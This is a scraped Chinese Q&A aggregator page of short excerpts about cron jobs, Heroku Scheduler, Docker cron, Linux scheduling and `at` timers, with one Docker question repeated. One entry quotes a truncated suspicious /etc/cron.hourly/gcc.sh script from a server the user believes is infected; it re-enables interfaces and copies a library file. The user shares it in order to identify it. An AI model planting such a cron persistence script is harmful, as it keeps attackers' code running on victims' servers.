草庐IT

scheduler_cron

全部标签

heroku - 在 Golang 应用程序中使用 Heroku Scheduler 附加组件

我不知道如何在Go中使用HerokuScheduler插件。我想定期运行一个单独的Go文件,但我可以找到实现它的命令。来自Heroku的文档(https://devcenter.heroku.com/articles/scheduler),如果应用不是Rails应用,我应该使用ruby​​脚本。但我不知道如何从那里运行Go文件。 最佳答案 我最终fork了我的webdyno使用的相同main函数:funcmain(){iflen(os.Args)>=2&&os.Args[1]=="my_job_param"{//Executejob

go - 使用 cron 运行 Go 方法

我正在尝试编写一个程序,它将在特定的时间间隔内连续调用一个方法。我正在使用一个cron库来尝试实现这一点,但是当我运行该程序时,它只是执行并完成而没有任何输出。下面是我正在尝试做的一个基本示例。非常感谢帮助!packagemainimport("fmt""github.com/robfig/cron")funcmain(){c:=cron.New()c.AddFunc("1*****",RunEverySecond)c.Start()}funcRunEverySecond(){fmt.Println("----")} 最佳答案 您可

docker - 如何在 docker 容器中运行 cron 作业?

我正在尝试在调用shell脚本的docker容器中运行cronjob。昨天我一直在网上搜索和堆栈溢出,但我真的找不到有效的解决方案。我该怎么做? 最佳答案 您可以将您的crontab复制到一个镜像中,以便从该镜像启动的容器运行该作业。参见RunacronjobwithDocker中的“JulienBoulay”在他的Ekito/docker-cron:Let’screateanewfilecalled"hello-cron"todescribeourjob.#mustbeendedwithanewline"LF"(Unix)andn

docker - 如何在 docker 容器中运行 cron 作业?

我正在尝试在调用shell脚本的docker容器中运行cronjob。昨天我一直在网上搜索和堆栈溢出,但我真的找不到有效的解决方案。我该怎么做? 最佳答案 您可以将您的crontab复制到一个镜像中,以便从该镜像启动的容器运行该作业。参见RunacronjobwithDocker中的“JulienBoulay”在他的Ekito/docker-cron:Let’screateanewfilecalled"hello-cron"todescribeourjob.#mustbeendedwithanewline"LF"(Unix)andn

linux - Ubuntu cron shebang 不工作

我有一个脚本将其作为shebang#!/usr/bin/envNode。当cron运行我的脚本时,我收到此错误/usr/bin/env:node:Nosuchfileordirectory。当我以我的用户身份运行脚本时,脚本运行良好,只是不是作为cron。我猜这是因为Node不在运行cron的用户的PATH上?我怎样才能让这个shebang与cron一起工作?$哪个Node给我/home/myuser/.nvm/v0.11.14/bin/node 最佳答案 Cron作业在受限环境中运行。在交互式shell中,您的$PATH可能设置在

linux - 在 Docker 容器中运行计划的 cron 作业的解决方案?

我有一个Docker容器,其中安装了我的Python工具,包括我的Luigi管道接口(interface)。我想运行一个shell脚本,每周使用cron启动我的Luigi管道。我尝试了很多方法来让cron在Docker容器中工作。我这辈子都无法运行我的crontab-e文件。在我的文件中我有:00**Sun/data/myscript.sh后跟一个新行。Cron在后台运行-psaux|grepcron显示/usr/sbin/cron正在运行。此外,在我的/var/log/syslog文件中,我有:/USR/SBIN/CRON[2037]:(root)CMD(/data/myscript

c - Linux 内核 : schedule() function

我在论坛上看到其他几个讨论这个schedule()函数的问题,但我的问题有点不同。我看过一些关于它的理论、算法和实现方面的讨论和文献。不清楚和被问到的是执行方面。当然,深入查看内核源代码并进行所有必需的调试,跟踪blabla...可能会回答这个问题,但重新发明轮子似乎并不明智。问题/困惑如下:内核级的多线程用户程序遍历的路径是什么?谁来调度线程?哪个中断上下文?任何名字?(如果我们在内核级别的跟踪中看到,没有什么叫做“sched”,但是有交换器、inits、ksoft*blabla)Deos它是这样的:一个进程(用户程序)它的子线程首先都被内核占用,然后内核使它们成为可执行线程(通过将

linux - cron.hourly 中的这个文件 (gcc.sh) 是恶意软件吗?

我的服务器上遇到了高达1Gbps的峰值,并且一直在寻找病毒和恶意软件。我在/etc/cron.hourly中找到了这个文件:gcc.sh,想知道是否有人见过类似的东西,并且会对代码有一些了解。谢谢!#!/bin/shPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/binforiin`cat/proc/net/dev|grep:|awk-F:{'print$1'}`;doifconfig$iup&donecp/lib/libudev.so/lib/libudev.so.6/lib/l

linux - 使用 cron 运行脚本的正确方法?

使用cron运行脚本时,内部调用的任何可执行文件都必须具有完整路径。我发现这个试图运行wondershaper,当它试图调用tc.所以我的问题是,克服这个问题的正确方法是什么?可能的解决方案:cd到可执行文件夹并准备符号链接(symboliclink)到任何其他调用的可执行文件(不确定它是否有效-可移植性低)在脚本中使用完整路径(有效-跨不同发行版的可移植性低)在脚本中导出具有所需路径的路径变量(不确定是否有效)好吧,在此先感谢任何人的帮助。 最佳答案 如果你在linux/bsd/mac上,你可以在crontab中设置一些环境变量,

linux - 从终端创建临时 Cron 作业

有没有办法从命令行创建一个临时的一次性cron作业?我想要一个类似egg-timer的功能来打开终端并执行以下操作:notify"timeisup"30这将在30分钟后简单地运行:zenity--info--text="timeisup"这对我来说似乎很容易创造,但我很难相信没有人创造过类似的东西。在Ubuntu的存储库中搜索计时包没有显示任何内容。以前有人这样做过吗? 最佳答案 使用at命令。$atnow+30minutesat>zenity--info--text="timeisup"at>^D(pressCTRL-D)时间格式